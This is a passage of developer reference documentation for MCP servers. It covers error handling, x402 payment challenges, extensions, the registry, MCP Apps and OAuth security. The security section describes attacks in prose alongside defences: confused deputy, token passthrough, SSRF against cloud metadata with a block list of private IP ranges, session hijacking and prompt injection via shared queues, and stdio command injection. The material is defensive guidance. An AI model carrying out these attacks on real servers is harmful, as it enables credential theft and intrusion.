        content: [{ type: "text", text: `Date must be in the past. Received: ${since}. Current: ${new Date().toISOString().split("T")[0]}` }],
      };
    }
  }

  const results = await doSearch(query, since);
  return { content: [{ type: "text", text: JSON.stringify(results) }] };
}
```

### Upstream API Failures

```typescript
async function fetchHandler({ url }: { url: string }) {
  try {
    const response = await fetch(url);
    if (!response.ok) {
      return {
        isError: true,
        content: [{ type: "text", text: `Upstream returned ${response.status}: ${response.statusText}. Try a different URL or check if the service is available.` }],
      };
    }
    const data = await response.json();
    return { content: [{ type: "text", text: JSON.stringify(data) }] };
  } catch (err) {
    return {
      isError: true,
      content: [{ type: "text", text: `Network error fetching ${url}: ${err instanceof Error ? err.message : "unknown"}. The service may be down.` }],
    };
  }
}
```

### Rate Limits

```typescript
return {
  isError: true,
  content: [{ type: "text", text: "Rate limit exceeded. Wait 30 seconds before retrying. Current limit: 10 requests/minute." }],
};
```

### Key Principles

1. **Be specific** - include the bad value, the expected format, and a correction hint
2. **Include context** - current date, limits, valid options
3. **Be actionable** - tell the LLM what to do differently
4. **Never return stack traces** - they waste tokens and leak internals

## Protocol Errors

Use JSON-RPC error responses (via `McpError` in v1, `ProtocolError` in v2) only for structural problems. Standard JSON-RPC error codes:

| Code | Name | When |
|------|------|------|
| `-32600` | Invalid Request | Malformed JSON-RPC |
| `-32601` | Method Not Found | Unknown method |
| `-32602` | Invalid Params | Schema validation failure at protocol level |
| `-32603` | Internal Error | Server crash, unrecoverable |
| `-32000` to `-32099` | Server errors | Custom server-defined errors |

```typescript
import { McpError, ErrorCode } from "@modelcontextprotocol/sdk/types.js";

// Only for structural problems the LLM can't fix
throw new McpError(ErrorCode.InternalError, "Database connection lost");
```

## The error.data Loss Behavior

**Critical**: The SDK strips `error.data` when converting an `McpError` thrown from a tool handler into a `CallToolResult`. If you embed structured data in McpError's `data` field (e.g., payment challenges, retry metadata), it does not reach the client. This is observed across the x402/MPP MCP ecosystem - see Client Compatibility table below. (Code `-32042` is a documented exception, see [`-32042` Payment Required](#payment-required---32042-ietf-pattern) below.)

```typescript
// BROKEN: error.data is lost in transit
throw new McpError(-32042, "Payment Required", {
  x402Version: 2,
  accepts: [{ scheme: "exact", network: "base", price: "5000" }],
});
// Client receives: { code: -32042, message: "Payment Required" }
// The accepts array is GONE

// FIX: Use isError tool result with structured content
return {
  isError: true,
  content: [{ type: "text", text: JSON.stringify({
    error: "Payment Required",
    x402Version: 2,
    accepts: [{ scheme: "exact", network: "base", price: "5000" }],
  })}],
  structuredContent: {
    error: "Payment Required",
    x402Version: 2,
    accepts: [{ scheme: "exact", network: "base", price: "5000" }],
  },
};
```

## Error Helper Pattern

Create a reusable helper for consistent error formatting:

```typescript
// Module-level helper
function toolError(message: string, details?: Record<string, unknown>): {
  isError: true;
  content: Array<{ type: "text"; text: string }>;
  structuredContent?: Record<string, unknown>;
} {
  const payload = details ? { error: message, ...details } : { error: message };
  return {
    isError: true,
    content: [{ type: "text", text: details ? JSON.stringify(payload) : message }],
    ...(details && { structuredContent: payload }),
  };
}

// Usage
return toolError("Rate limit exceeded", {
  retry_after_seconds: 30,
  current_limit: "10/min",
});

return toolError("Invalid date format. Use ISO (YYYY-MM-DD).");
```

## Payment Error Patterns

For MCP servers gated by payment protocols (x402, MPP), errors need to carry payment metadata that clients can act on programmatically.

### Payment Required `-32042` (IETF pattern)

`-32042` is the JSON-RPC error code reserved for "Payment Required" in the IETF draft [`draft-payment-transport-mcp-00`](https://datatracker.ietf.org/doc/draft-payment-transport-mcp/). Unlike most McpError codes, the McpServer wire path preserves `-32042`'s `error.data` end-to-end, so it can carry payment challenges. Some payment libraries (e.g. `mppx`) deliberately use `-32042` for this reason. If you need standards alignment with the IETF draft and your client supports it, prefer `-32042`. The broader ecosystem still relies on the `isError: true` pattern below for cross-client compatibility today.

### x402 Payment Required (isError pattern)

The bulk of the x402 MCP ecosystem uses `isError: true` tool results (not McpError) because of the `error.data` loss behavior described above. Breaking this format breaks existing x402 MCP clients.

```typescript
// Payment challenge - returned when no credential present
return {
  isError: true,
  content: [{ type: "text", text: JSON.stringify({
    x402Version: 2,
    error: "Payment required",
    accepts: [
      { scheme: "exact", network: "eip155:8453", price: "5000", payTo: "0x..." },
      { scheme: "exact", network: "solana:mainnet", price: "5000", payTo: "So1..." },
    ],
  })}],
  structuredContent: {
    x402Version: 2,
    error: "Payment required",
    accepts: [
      { scheme: "exact", network: "eip155:8453", price: "5000", payTo: "0x..." },
      { scheme: "exact", network: "solana:mainnet", price: "5000", payTo: "So1..." },
    ],
  },
};
```

### Dual-Protocol Challenges (x402 + MPP)

When supporting both x402 and MPP payment protocols on the same tool, embed both challenge types in the `isError` response. x402 clients read `accepts`, MPP clients read `org.paymentauth/challenges`. Unknown fields are ignored.

```typescript
return {
  isError: true,
  content: [{ type: "text", text: JSON.stringify(challenge) }],
  structuredContent: {
    x402Version: 2,
    error: "Payment required",
    // x402 clients read this
    accepts: [{ scheme: "exact", network: "eip155:8453", price: "5000", payTo: "0x..." }],
    // MPP clients read this
    "org.paymentauth/challenges": [
      { id: "ch_abc", method: "tempo", intent: "charge", request: { amount: "5000" } },
    ],
  },
};
```

### Credential Dispatch via _meta

When clients retry with a credential, dispatch by `_meta` key:

```typescript
async function paidToolHandler(args: unknown, extra: { _meta?: Record<string, unknown> }) {
  const meta = extra._meta ?? {};

  if (meta["x402/payment"]) {
    // x402 credential - verify and settle
    return await handleX402Payment(args, meta["x402/payment"]);
  }

  if (meta["org.paymentauth/credential"]) {
    // MPP credential - charge via tempo
    return await handleMppPayment(args, meta["org.paymentauth/credential"]);
  }

  // No credential - return payment challenge
  return paymentRequiredError(args);
}
```

### Client Compatibility

| Client | Reads `isError` challenges | Reads McpError `-32042` |
|--------|---------------------------|------------------------|
| x402MCPClient | Yes (via `structuredContent` then `content[0].text`) | No (crashes) |
| x402-proxy | Yes | No (planned) |
| agentpay-mcp | Yes | No |
| MCPay | Yes | No |
| Cloudflare agents/x402 | Yes | No |

The ecosystem is standardized on `isError: true` tool results. Do not use McpError for payment challenges.


path: references/extensions-registry.md
content: # Extensions and Registry

MCP extensions system, authorization extensions, and the MCP Registry.

## Table of Contents
- [Extensions System](#extensions-system)
- [Authorization Extensions](#authorization-extensions)
- [MCP Registry](#mcp-registry)
- [Server Capabilities Beyond Tools](#server-capabilities-beyond-tools)

## Extensions System

Extensions are optional, strictly additive capabilities layered on the core MCP protocol. They enable modular features (auth), specialized behavior (domain-specific), and experimental incubation without changing the core spec.

### Three-Layer Architecture

1. **MCP Core Specification** - baseline client-server interoperability
2. **MCP Projects** - supporting infrastructure (Registry, Inspector)
3. **MCP Extensions** - optional patterns for specialized use cases

### Extension Identifiers

Format: `{vendor-prefix}/{extension-name}`

| Prefix | Usage |
|--------|-------|
| `io.modelcontextprotocol` | Official extensions |
| Reversed domain (e.g., `com.example`) | Third-party extensions |

### Official Extensions

| Extension | Identifier | Status | Repo |
|-----------|-----------|--------|------|
| MCP Apps | `io.modelcontextprotocol/ui` | Stable (SEP-1865, 2026-01-26) | [ext-apps](https://github.com/modelcontextprotocol/ext-apps) |
| OAuth Client Credentials | `io.modelcontextprotocol/oauth-client-credentials` | Draft | [ext-auth](https://github.com/modelcontextprotocol/ext-auth) |
| Enterprise-Managed Auth | `io.modelcontextprotocol/enterprise-managed-authorization` | Draft | [ext-auth](https://github.com/modelcontextprotocol/ext-auth) |

### Negotiation

Both sides declare extension support in `extensions` during initialization:

```json
// Client (initialize request)
{
  "capabilities": {
    "extensions": {
      "io.modelcontextprotocol/ui": {
        "mimeTypes": ["text/html;profile=mcp-app"]
      }
    }
  }
}

// Server (initialize response)
{
  "capabilities": {
    "extensions": {
      "io.modelcontextprotocol/ui": {}
    }
  }
}
```

Each extension defines its settings schema. Empty object = no settings.

**Graceful degradation**: If one side supports an extension but the other doesn't, fall back to core protocol behavior or reject with an error if mandatory. Always provide meaningful text content alongside UI-enhanced responses so non-supporting clients still work.

### Creating Extensions

Official extensions follow the SEP (Specification Enhancement Proposal) process ([SEP-2133](https://modelcontextprotocol.io/seps/2133-extensions)):

1. **Propose** - Create SEP with type "Extensions Track" per [SEP guidelines](https://modelcontextprotocol.io/community/sep-guidelines)
2. **Implement** - Build at least one reference implementation in an official SDK (required before review)
3. **Review** - Core Maintainers review and approve
4. **Publish** - Add to extension repository
5. **Adopt** - Other clients/servers implement

Requirements:
- RFC 2119 language (MUST, SHOULD, MAY)
- Associated working group or interest group
- Extensions always disabled by default - explicit opt-in required
- SDKs choose which extensions to support (not required for conformance)

### Experimental Extensions

Working Groups can incubate extensions in repos with `experimental-ext-` prefix within the MCP GitHub org. Requirements:
- Associated with a Working Group or Interest Group
- Clear experimental labeling in README and package name
- Core Maintainer oversight (can archive/remove)
- Graduate to official via standard SEP process

### Evolution

Extensions evolve independently of the core protocol. Prefer capability flags or versioning within the extension settings over new identifiers. New identifier only for breaking changes (e.g., `io.modelcontextprotocol/my-extension-v2`).

Breaking changes: removing/renaming fields, changing types, altering semantics, adding required fields.

### Client Support Matrix

| Client | MCP Apps | OAuth Client Creds | Enterprise Auth |
|--------|----------|-------------------|-----------------|
| Claude (web + Desktop) | Yes | - | - |
| ChatGPT | Yes | - | - |
| VS Code Copilot | Yes | - | - |
| Goose | Yes | - | - |
| Postman | Yes | - | - |
| MCPJam | Yes | - | - |

Auth extensions not yet widely adopted. Check [ext-auth](https://github.com/modelcontextprotocol/ext-auth) for latest status.

## Authorization Extensions

The core MCP spec includes OAuth 2.1 authorization (authorization code + PKCE) for interactive user consent. Auth extensions address scenarios where this doesn't fit.

Source: [ext-auth repo](https://github.com/modelcontextprotocol/ext-auth)

### OAuth Client Credentials

**Identifier**: `io.modelcontextprotocol/oauth-client-credentials`

Machine-to-machine authentication via OAuth 2.1 client credentials flow. No user interaction required.

**Use cases**: Background services/daemons, CI/CD pipelines, server-to-server API integrations.

### Enterprise-Managed Authorization

**Identifier**: `io.modelcontextprotocol/enterprise-managed-authorization`

Centralized access control via enterprise identity providers (IdPs). Employees access MCP servers through their organization's existing IdP without per-server authorization.

**Use cases**: Enterprise employees at work, organization-wide MCP access policy enforcement.

### Decision Table

| Scenario | Auth Approach |
|----------|--------------|
| Background service / daemon | OAuth Client Credentials |
| CI/CD pipeline | OAuth Client Credentials |
| Server-to-server integration | OAuth Client Credentials |
| Enterprise employees at work | Enterprise-Managed Authorization |
| Org-wide policy enforcement | Enterprise-Managed Authorization |
| Standard interactive user auth | Core MCP spec (no extension needed) |

Both use standard extension negotiation. Specified in [ext-auth/specification/draft](https://github.com/modelcontextprotocol/ext-auth/tree/main/specification/draft).

## MCP Registry

The official centralized metadata repository for publicly accessible MCP servers. Currently in **preview**, but the API entered a **v0.1 freeze on 2025-10-24** with a stability commitment for integrators (no breaking changes during the freeze window). Backed by Anthropic, GitHub, PulseMCP, and Microsoft.

### What It Provides

- Single place for server creators to publish metadata
- Namespace management via DNS verification
- REST API for clients and aggregators to discover servers
- Standardized `server.json` format with name, location, execution instructions, capabilities

### Key Concepts

**Not a package registry**: Hosts metadata that *points to* packages on npm, PyPI, Docker Hub, etc. Doesn't host code.

**Namespace authentication**: Server names use reverse DNS format (`io.github.user/server-name`, `com.example/server`). Only verified owners (via GitHub account or DNS/HTTP challenge) can publish under their namespace.

**Public servers only**: Private servers (internal networks, private registries) are not supported. Self-host for those.

**Aggregator-first design**: Intended for consumption by downstream aggregators (marketplaces, catalogs) via REST API, not direct use by host applications. Aggregators poll periodically (e.g., hourly).

**OpenAPI spec**: Other registries can implement the same [OpenAPI spec](https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/api/openapi.yaml) for standardized host application support.

### Publishing

Quickstart: [modelcontextprotocol.io/registry/quickstart](https://modelcontextprotocol.io/registry/quickstart)

Automate with GitHub Actions: [modelcontextprotocol.io/registry/github-actions](https://modelcontextprotocol.io/registry/github-actions)

Server metadata is `server.json` containing: unique name, location (npm package, remote URL), execution instructions (args, env vars), description, capabilities.

### Trust and Security

- **Namespace verification** prevents impersonation
- **Security scanning** delegated to underlying package registries (npm, PyPI, Docker Hub) and downstream aggregators
- **Spam prevention**: namespace auth requirements, character limits/validation, manual takedown by maintainers

### Versioning

Servers are versioned within the registry. See [versioning guide](https://modelcontextprotocol.io/registry/versioning) for release management.

## Server Capabilities Beyond Tools

The spec includes server-to-client request capabilities. Elicitation and Progress are core protocol features; Sampling is advisory-deprecated (SEP-2577) and Tasks has moved to an official extension (SEP-2663).

### Elicitation

Request structured user input mid-tool-execution. Server sends a schema, client prompts the user, returns the response.

```typescript
// v2 API
const input = await ctx.mcpReq.elicitInput({
  message: "Please confirm the operation",
  requestedSchema: {
    type: "object",
    properties: { confirm: { type: "boolean" } },
  },
});
```

Related SEPs: [#1034](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1034) (default values), [#1036](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1036) (URL mode for out-of-band interactions), [#1330](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1330) (enum improvements).

### Sampling

> **Advisory-deprecated.** [SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577) (final, 2026-05-15) deprecates Sampling along with Roots and Logging. No wire-level changes - the feature stays functional for 1+ year - but adoption is low and it is complex to implement (human-in-the-loop, model selection, security). Do not build new servers that depend on it.

Request an LLM completion from the client. Enables agentic patterns where tools delegate reasoning to the model.

```typescript
// v2 API
const response = await ctx.mcpReq.requestSampling({
  messages: [{ role: "user", content: { type: "text", text: "Summarize this data" } }],
  maxTokens: 100,
});
```

Related SEP: [#1577](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1577) (Sampling With Tools - allow sampling requests to include tool definitions).

### Tasks (SEP-2663)

Long-running operations with lifecycle management - progress tracking, cancellation, and status updates for operations spanning multiple requests. [SEP-2663](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2663) (final, 2026-05-15) supersedes the earlier SEP-1686 proposal: Tasks moved out of the core `2025-11-25` spec (the experimental `tasks` feature there is removed) into an official extension. A server may answer a `tools/call` with an async task handle instead of a final result; the client polls via `tasks/get`, `tasks/update`, and `tasks/cancel`, keyed off a `resultType: "task"` discriminator.

### Progress

Report incremental progress on any request:

```typescript
// v2 API
await ctx.mcpReq.sendProgress({ progress: 50, total: 100 });
```


path: references/mcp-apps.md
content: # MCP Apps

Interactive HTML interfaces rendered inside MCP hosts. The MCP Apps spec (SEP-1865) reached **Stable** status on 2026-01-26 as the first official MCP extension (`io.modelcontextprotocol/ui`).

## Table of Contents
- [Architecture](#architecture)
- [Server Implementation](#server-implementation)
- [UI Implementation](#ui-implementation)
- [Project Setup](#project-setup)
- [CSP and Security](#csp-and-security)
- [Testing](#testing)
- [When to Use](#when-to-use)
- [Client Support](#client-support)

## Architecture

MCP Apps combine two MCP primitives: a **tool** that declares a UI resource in its metadata, and a **resource** that serves HTML rendered in a sandboxed iframe.

### Flow

1. **Tool registration**: Tool includes `_meta.ui.resourceUri` pointing to a `ui://` resource
2. **UI preloading**: Host can preload the resource before the tool is called (enables streaming inputs to the app)
3. **Resource fetch**: Host fetches the HTML from the server via `resources/read`
4. **Sandboxed rendering**: Host renders HTML in a sandboxed iframe (no parent DOM/cookie/storage access)
5. **Bidirectional communication**: App and host communicate via postMessage using a JSON-RPC dialect of MCP

```
Agent ──tools/call──────> MCP Server
Agent <──result────────── MCP Server
Agent ──result pushed────> MCP App (iframe)
User  ──interaction──────> MCP App (iframe)
App   ──tools/call───────> Agent ──> MCP Server
Agent <──result────────── MCP Server
Agent ──result───────────> MCP App (iframe)
App   ──context update───> Agent (updates model context)
```

### Key Packages

| Package | Purpose |
|---------|---------|
| `@modelcontextprotocol/ext-apps` | Server helpers (`registerAppTool`, `registerAppResource`) + client `App` class |
| `@mcp-ui/client` | React components for hosts rendering MCP Apps ([docs](https://mcpui.dev/)) |

## Server Implementation

```typescript
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import {
  registerAppTool,
  registerAppResource,
  RESOURCE_MIME_TYPE,
} from "@modelcontextprotocol/ext-apps/server";
import fs from "node:fs/promises";
import path from "node:path";

const server = new McpServer({ name: "My App Server", version: "1.0.0" });

// ui:// scheme tells hosts this is an MCP App resource
const resourceUri = "ui://my-tool/mcp-app.html";

// Register tool with UI metadata
registerAppTool(server, "my-tool", {
  title: "My Tool",
  description: "Does something and shows an interactive UI",
  inputSchema: { query: z.string().describe("Search query") },
  _meta: { ui: { resourceUri } },
}, async ({ query }) => {
  const result = await doWork(query);
  return { content: [{ type: "text", text: JSON.stringify(result) }] };
});

// Register resource serving bundled HTML
// Signature: registerAppResource(server, name, uri, config, readCallback)
registerAppResource(server, "my-app-ui", resourceUri, {
  mimeType: RESOURCE_MIME_TYPE,
}, async () => {
  const html = await fs.readFile(
    path.join(import.meta.dirname, "dist", "mcp-app.html"), "utf-8"
  );
  return { contents: [{ uri: resourceUri, mimeType: RESOURCE_MIME_TYPE, text: html }] };
});
```

**Key points**:
- `registerAppTool` sets `_meta.ui.resourceUri` on the tool definition
- `registerAppResource(server, name, uri, config, readCallback)` - the `name` is a human-readable label, distinct from the `ui://` URI
- `RESOURCE_MIME_TYPE` = `text/html;profile=mcp-app`
- The `ui://` path structure is arbitrary - organize however makes sense

### Express Server Boilerplate

```typescript
import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js";
import cors from "cors";
import express from "express";

const app = express();
app.use(cors());
app.use(express.json());

app.post("/mcp", async (req, res) => {
  const transport = new StreamableHTTPServerTransport({
    sessionIdGenerator: undefined,
    enableJsonResponse: true,
  });
  res.on("close", () => transport.close());
  await server.connect(transport);
  await transport.handleRequest(req, res, req.body);
});

app.listen(3001);
```

## UI Implementation

```html
<!-- mcp-app.html -->
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8" /><title>My App</title></head>
<body>
  <div id="app">Loading...</div>
  <button id="refresh">Refresh</button>
  <script type="module" src="/src/mcp-app.ts"></script>
</body>
</html>
```

```typescript
// src/mcp-app.ts
import { App } from "@modelcontextprotocol/ext-apps";

const app = new App({ name: "My App", version: "1.0.0" });

// Establish communication with host (call once on init)
app.connect();

// Handle initial tool result pushed by host
app.ontoolresult = (result) => {
  const text = result.content?.find((c) => c.type === "text")?.text;
  document.getElementById("app")!.textContent = text ?? "[ERROR]";
};

// Proactively call tools from UI interactions
document.getElementById("refresh")!.addEventListener("click", async () => {
  const result = await app.callServerTool({
    name: "my-tool",
    arguments: { query: "updated" },
  });
  const text = result.content?.find((c) => c.type === "text")?.text;
  document.getElementById("app")!.textContent = text ?? "[ERROR]";
});
```

### App Class API (ext-apps v1.7+)

Verified against [`src/app.ts`](https://github.com/modelcontextprotocol/ext-apps/blob/main/src/app.ts).

| Method | Purpose |
|--------|---------|
| `app.connect()` | Establish postMessage communication with host (call once on init) |
| `app.ontoolresult` | Callback when host pushes a tool result to the app |
| `app.callServerTool({ name, arguments })` | Call any tool on the MCP server |
| `app.readServerResource({ uri })` / `listServerResources()` | Resource access from the view |
| `app.sendLog(params)` | Emit a `LoggingMessageNotification` to the host |
| `app.openLink(params)` | Request the host to open a URL |
| `app.updateModelContext(...)` | Update model context with structured data from the view |
| `app.createSamplingMessage(...)` | Sampling support via stock SDK types (added v1.7.0) |
| `app.registerTool(...)` / `app.sendToolListChanged()` | Views can expose tools for the host to call (WebMCP-style, added v1.7.0) |
| `app.requestDisplayMode(...)` / `requestTeardown(...)` / `sendSizeChanged(...)` / `downloadFile(...)` | Host-coordination helpers |

`AppOptions.allowUnsafeEval` (default `false`, added v1.7.0) sets `z.config({ jitless: true })` so views run under strict CSP without `unsafe-eval`.

The `App` class is a convenience wrapper, not a requirement. You can implement the [postMessage protocol](https://github.com/modelcontextprotocol/ext-apps/blob/main/specification/2026-01-26/apps.mdx) directly.

## Project Setup

### Directory Structure

```
my-mcp-app/
├── package.json
├── tsconfig.json
├── vite.config.ts
├── server.ts          # MCP server with tool + resource
├── mcp-app.html       # UI entry point
└── src/
    └── mcp-app.ts     # UI logic
```

### Dependencies

```bash
npm install @modelcontextprotocol/ext-apps @modelcontextprotocol/sdk
npm install -D typescript vite vite-plugin-singlefile express cors @types/express @types/cors tsx
```

### Configuration

```json
// package.json
{
  "type": "module",
  "scripts": {
    "build": "INPUT=mcp-app.html vite build",
    "serve": "npx tsx server.ts"
  }
}
```

```typescript
// vite.config.ts
import { defineConfig } from "vite";
import { viteSingleFile } from "vite-plugin-singlefile";

export default defineConfig({
  plugins: [viteSingleFile()],
  build: {
    outDir: "dist",
    rollupOptions: { input: process.env.INPUT },
  },
});
```

`vite-plugin-singlefile` bundles all CSS/JS into a single HTML file, avoiding CSP issues. Optional - you can serve unbundled files if you [configure CSP](https://apps.extensions.modelcontextprotocol.io/api/documents/Patterns.html#configuring-csp-and-cors).

### Build and Run

```bash
npm run build && npm run serve
```

## CSP and Security

MCP Apps render in sandboxed iframes with **deny-by-default CSP**. The sandbox prevents:
- Accessing parent window DOM
- Reading host cookies or localStorage
- Navigating the parent page
- Executing scripts in parent context

All communication goes through postMessage. The host controls which capabilities the app can access.

**External resources** (CDN scripts, fonts, APIs): Configure via `_meta.ui.csp` in tool registration, or bundle everything into a single HTML file.

**Additional capabilities** (microphone, camera): Request via `_meta.ui.permissions` in tool registration.

## Testing

### With basic-host (local development)

```bash
git clone https://github.com/modelcontextprotocol/ext-apps.git
cd ext-apps/examples/basic-host && npm install
SERVERS='["http://localhost:3001/mcp"]' npm start
# Navigate to http://localhost:8080
```

### With Claude (via cloudflared tunnel)

```bash
# Terminal 1: Run your server
npm run build && npm run serve

# Terminal 2: Expose to internet
npx cloudflared tunnel --url http://localhost:3001
```

Copy the generated URL and add as a custom connector in Claude: Profile > Settings > Connectors > Add custom connector. Requires paid Claude plan (Pro, Max, or Team).

## When to Use

MCP Apps fit when your use case involves:
- **Complex data exploration** - interactive charts, maps, drill-down views
- **Multi-option configuration** - forms with validation, defaults, interdependencies
- **Rich media** - PDF viewers, 3D models, image previews, video players
- **Real-time monitoring** - live dashboards, logs, system status
- **Multi-step workflows** - approval flows, triage, code review

If you don't need conversation-integrated UI, a regular web app is simpler.

## Client Support

| Client | MCP Apps |
|--------|----------|
| Claude (web + Desktop) | Yes |
| ChatGPT | Yes |
| VS Code Copilot | Yes |
| Goose | Yes |
| Postman | Yes |
| MCPJam | Yes |

### Framework Templates

The [ext-apps repo](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples) includes starters for React, Vue, Svelte, Preact, Solid, and vanilla JS.

### Building a Host

Two approaches for rendering MCP Apps in your own client:
1. **`@mcp-ui/client`** - React components ([docs](https://mcpui.dev/))
2. **App Bridge** - SDK module for iframe rendering, message passing, tool proxying, security ([docs](https://apps.extensions.modelcontextprotocol.io/api/modules/app-bridge.html))

Full API documentation: [apps.extensions.modelcontextprotocol.io](https://apps.extensions.modelcontextprotocol.io/api/)


path: references/security-auth.md
content: # Security and Authorization

Detailed attack vectors, mitigations, and OAuth 2.1 authorization implementation patterns for MCP servers.

## Table of Contents
- [OAuth 2.1 in MCP](#oauth-21-in-mcp)
- [Authorization Flow](#authorization-flow)
- [Attack Vectors and Mitigations](#attack-vectors-and-mitigations)
- [Auth Implementation Best Practices](#auth-implementation-best-practices)
- [Scope Management](#scope-management)

## OAuth 2.1 in MCP

MCP normatively requires OAuth 2.1 ([draft-ietf-oauth-v2-1-13](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)). The spec states: "Authorization servers **MUST** implement OAuth 2.1." OAuth 2.1 is still technically an IETF draft (not yet an RFC), but it's a mature consolidation of OAuth 2.0 + security best practices and is the only version MCP supports.

### Key Differences from OAuth 2.0

- **PKCE mandatory** for all clients (not just public clients)
- **Implicit flow removed** entirely
- **Refresh token rotation** required for public clients
- **Redirect URI exact matching** required (no wildcards)

### Supporting RFCs

Some companion specs have "OAuth 2.0" in their titles (published before 2.1 existed) but are fully compatible:

| RFC | Title | MCP Usage |
|-----|-------|-----------|
| RFC 8414 | OAuth 2.0 Authorization Server Metadata | Auth server discovery |
| RFC 7591 | OAuth 2.0 Dynamic Client Registration | Client registration (optional) |
| RFC 9728 | OAuth 2.0 Protected Resource Metadata | Server metadata discovery (MUST) |
| RFC 8707 | OAuth 2.0 Resource Indicators | Token audience binding (MUST) |

### MCP Roles

| Role | MCP Component | OAuth 2.1 Role |
|------|---------------|----------------|
| MCP Server | Protected resource | OAuth 2.1 Resource Server |
| MCP Client | Requesting party | OAuth 2.1 Client |
| Authorization Server | Token issuer | Standard OAuth 2.1 AS |

Authorization is **optional** in MCP. When supported:
- HTTP-based transports SHOULD conform to the spec
- STDIO transports SHOULD use environment credentials instead
- Always optional - servers can be unauthenticated

## Authorization Flow

### Discovery Sequence

```
Client -> MCP Server: Request without token
MCP Server -> Client: 401 + WWW-Authenticate (resource_metadata URL)
Client -> MCP Server: GET Protected Resource Metadata (RFC 9728)
  -> Returns authorization_servers, scopes_supported
Client -> Auth Server: GET Authorization Server Metadata (RFC 8414 or OIDC Discovery)
  -> Returns endpoints (authorize, token, registration)
Client -> Auth Server: Register (CIMD, DCR, or pre-registered)
Client -> Browser: Authorization code flow + PKCE + resource parameter
Auth Server -> Client: Access token
Client -> MCP Server: Request with Bearer token
```

### Client Registration Priority

1. Pre-registered credentials (if available for this server)
2. Client ID Metadata Documents (CIMD) - HTTPS URL as client_id, recommended for new implementations
3. Dynamic Client Registration (DCR) - backwards compatibility fallback
4. User-provided credentials - last resort

### Required Headers and Parameters

**Every authenticated request**:
```
Authorization: Bearer <access-token>
```

Tokens MUST NOT be in URI query strings. Authorization MUST be included in every HTTP request, even within the same session.

**Authorization and token requests MUST include**:
- `resource` parameter (RFC 8707) - canonical URI of the MCP server
- `code_challenge` + `code_challenge_method=S256` (PKCE)

## Attack Vectors and Mitigations

### Confused Deputy Problem

**Attack**: MCP proxy server uses a static client ID with a third-party auth server. User authenticates normally, third-party sets consent cookie. Attacker later sends victim a crafted authorization request. Cookie skips consent, authorization code is redirected to attacker's server.

**Vulnerable conditions** (ALL must be present):
1. MCP proxy uses a **static client ID** with third-party AS
2. MCP proxy allows **dynamic client registration**
3. Third-party AS sets **consent cookie** after first authorization
4. MCP proxy does NOT implement **per-client consent** before forwarding

**Mitigation**:
- Maintain a registry of approved `client_id` values per user
- Check the registry BEFORE initiating third-party auth flow
- Show consent page with: requesting client name, third-party API scopes, registered redirect_uri
- CSRF protection on consent page (state parameter, CSRF tokens)
- Prevent iframing via `frame-ancestors` CSP or `X-Frame-Options: DENY`
- Consent cookies MUST use `__Host-` prefix, `Secure`, `HttpOnly`, `SameSite=Lax`
- Cookies MUST be bound to the specific `client_id` (not just "user has consented")
- OAuth `state` values MUST be set ONLY AFTER consent is approved (not before)

### Token Passthrough

**Attack**: MCP server accepts tokens from clients without validating they were issued for the server, and/or forwards them to downstream APIs.

**Explicitly forbidden** in the MCP authorization spec.

**Risks**: Security control circumvention, audit trail issues, trust boundary violations, privilege chaining, future compatibility problems.

**Mitigation**:
- MUST NOT accept tokens not issued for the MCP server
- MUST validate audience claim matches the server's canonical URI
- If proxying to upstream APIs, MUST use a separate token issued by the upstream AS
- Never pass through client tokens to downstream services

### Server-Side Request Forgery (SSRF)

**Attack**: Malicious MCP server populates OAuth metadata discovery URLs (`resource_metadata`, `authorization_servers`, `token_endpoint`) with internal network addresses.

**Targets**: Cloud metadata (`169.254.169.254`), internal admin panels, localhost services (Redis, databases), DNS rebinding.

**Mitigation** (for MCP clients deployed server-side):
- Enforce HTTPS for all OAuth URLs (HTTP only for localhost in dev)
- Block private IP ranges: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `127.0.0.0/8`, `fc00::/7`, `fe80::/10`
- Validate redirect targets (don't blindly follow redirects to internal resources)
- Consider egress proxies (e.g., [Smokescreen](https://github.com/stripe/smokescreen))
- Be aware of DNS TOCTOU attacks - pin resolution results between check and use

### Session Hijacking

Two vectors:

**Prompt Injection via shared queues**: Client connects to Server A, gets session ID. Attacker sends malicious event to Server B with that session ID. Server B enqueues it. Server A retrieves and delivers the malicious payload to the client.

**Impersonation**: Attacker obtains session ID, makes requests impersonating the legitimate client.

**Mitigation**:
- MUST verify all inbound requests (sessions are NOT authentication)
- MUST NOT use sessions for authentication
- Session IDs MUST be cryptographically random (secure random UUIDs)
- SHOULD bind session IDs to user identity (key format: `<user_id>:<session_id>`)
- Rotate/expire session IDs regularly

### SDK CVEs (2026)

| CVE | Severity | Fixed in | Notes |
|-----|----------|----------|-------|
| [CVE-2026-25536](https://nvd.nist.gov/vuln/detail/cve-2026-25536) (GHSA-345p-7cg4-v4c7) | CVSS 7.1 | `@modelcontextprotocol/sdk` v1.26.0 | Cross-client response data leak when a single `McpServer`/`Server` and transport instance is reused across client connections (v1.10.0-v1.25.3 affected). **Production SDKs MUST be ≥ v1.26.0**. The canonical mitigation is per-request server+transport (the Stateless Pattern in SKILL.md). |
| [CVE-2026-0621](https://github.com/modelcontextprotocol/typescript-sdk/pull/1365) | Medium | v1.25.2 / v2.0.0-alpha.1 | ReDoS in UriTemplate regex patterns. |

### Stdio Config Command Injection

OX Security disclosed (2026-04-15) a systemic command-injection design issue in MCP SDK stdio transports across all language SDKs: user-controlled input flows into `StdioServerParameters` (or its equivalents) without sanitization, enabling shell injection at server-spawn time. Anthropic classifies the behavior as "by design" - the SDK does not sanitize, by spec. Defensive responsibility lies with **clients and orchestrators**:

- Treat any string fed to `command`, `args`, or `env` as adversarial input.
- Refuse user-edited stdio configs without a confirmation dialog showing the exact command and args (untruncated).
- Prefer first-party / vetted MCP servers; warn explicitly that "running an MCP server" is equivalent to running an arbitrary process with the user's privileges.
